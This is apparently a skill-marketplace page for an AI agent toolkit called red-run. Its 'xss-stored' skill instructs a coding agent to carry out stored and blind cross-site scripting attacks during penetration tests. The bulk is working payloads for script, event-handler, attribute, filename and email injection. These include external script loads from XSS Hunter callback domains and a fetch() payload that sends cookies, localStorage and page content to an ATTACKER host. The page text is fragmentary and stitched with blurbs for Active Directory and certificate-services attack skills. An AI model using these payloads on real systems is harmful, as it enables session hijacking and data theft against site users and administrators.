acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Guide stored (persistent) and blind XSS exploitation during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill xss-stored --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/xss-storedContext preview
The summary Claude sees to decide when to auto-load this skill.
Guide stored (persistent) and blind XSS exploitation during authorized penetration testing.
name: xss-stored description: > Guide stored (persistent) and blind XSS exploitation during authorized penetration testing. keywords: - stored XSS - persistent XSS - blind XSS - XSS in comments - XSS in profile - XSS Hunter - payload persists - XSS in user-generated content - admin panel XSS tools: - burpsuite - XSS Hunter - ezXSS opsec: medium
You are helping a penetration tester exploit stored (persistent) cross-site scripting. The target application saves user input and renders it unsafely on subsequent page loads, affecting other users who view the content. Blind XSS is a variant where the payload fires in a context the attacker cannot directly observe (admin panel, support ticket viewer, log dashboard). All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
(e.g., check for DOM modifications, cookie exfiltration callbacks)
rendering
If not already provided, determine: 1. **Storage point** — where is input saved? (comment, profile field, ticket, filename, etc.) 2. **Render point** — where is the stored input displayed? (same page, different page, admin panel) 3. **Render context** — HTML body, attribute, JavaScript block, email template? 4. **Who sees it** — same user only (self-XSS), other users, admins?
Skip if context was already provided.
Submit a canary like `xss<>"'` to the storage point, then inspect where and how it renders.
**Common storage → render pairs:**
| Storage Point | Render Point | Impact | |---|---|---| | Comment/post body | Public page | All visitors | | User profile / display name | Profile page, admin user list | Other users, admins | | Support ticket | Admin ticket viewer | Admin (blind XSS) | | File upload filename | File listing page | Other users | | Referer / User-Agent header | Analytics dashboard, admin logs | Admin (blind XSS) | | Form field (address, bio) | Invoice, PDF export, email | Varies |
Use `console.log()` instead of `alert()` for stored XSS — avoids popup fatigue on every page load while testing.
**Basic payloads** (try simple first):
<script>console.log('XSS:'+document.domain)</script>
<img src=x onerror=console.log('XSS:'+document.domain)>
<svg onload=console.log('XSS:'+document.domain)>**When `<script>` is stripped but event handlers work:**
<img src=x onerror=alert(document.domain)> <details open ontoggle=alert(document.domain)> <video src=_ onloadstart=alert(document.domain)> <body onload=alert(document.domain)>
**When tags are stripped but attributes survive** (injection inside existing tag):
" autofocus onfocus=alert(document.domain) " ' onmouseover=alert(document.domain) '
**In rich text / WYSIWYG editors:**
<img src=x onerror=alert(1)> <svg/onload=alert(1)> <iframe srcdoc="<script>alert(1)</script>">
**In file upload filenames:**
"><img src=x onerror=alert(document.domain)>.png <svg onload=alert(1)>.svg
**In email / notification templates** (if HTML email is sent):
<img src="https://ATTACKER/pixel?c=" onerror="this.src+='err'">
When you can inject input but cannot see where it renders (admin panels, support dashboards, log viewers).
**XSS Hunter** (self-hosted or trufflesecurity):
"><script src="https://js.rip/YOUR_ID"></script> "><script src=//YOUR_SUBDOMAIN.xss.ht></script>
**Custom callback** (Python one-liner):
# Start listener python3 -m http.server 8080
**Custom payload** (sends page context to attacker):
<script>
fetch('https://ATTACKER:8080/blind', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify({
url: location.href,
cookie: document.cookie,
dom: document.body.innerHTML.substring(0, 2000),
localStorage: JSON.stringify(localStorage)
})
});
</script>Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…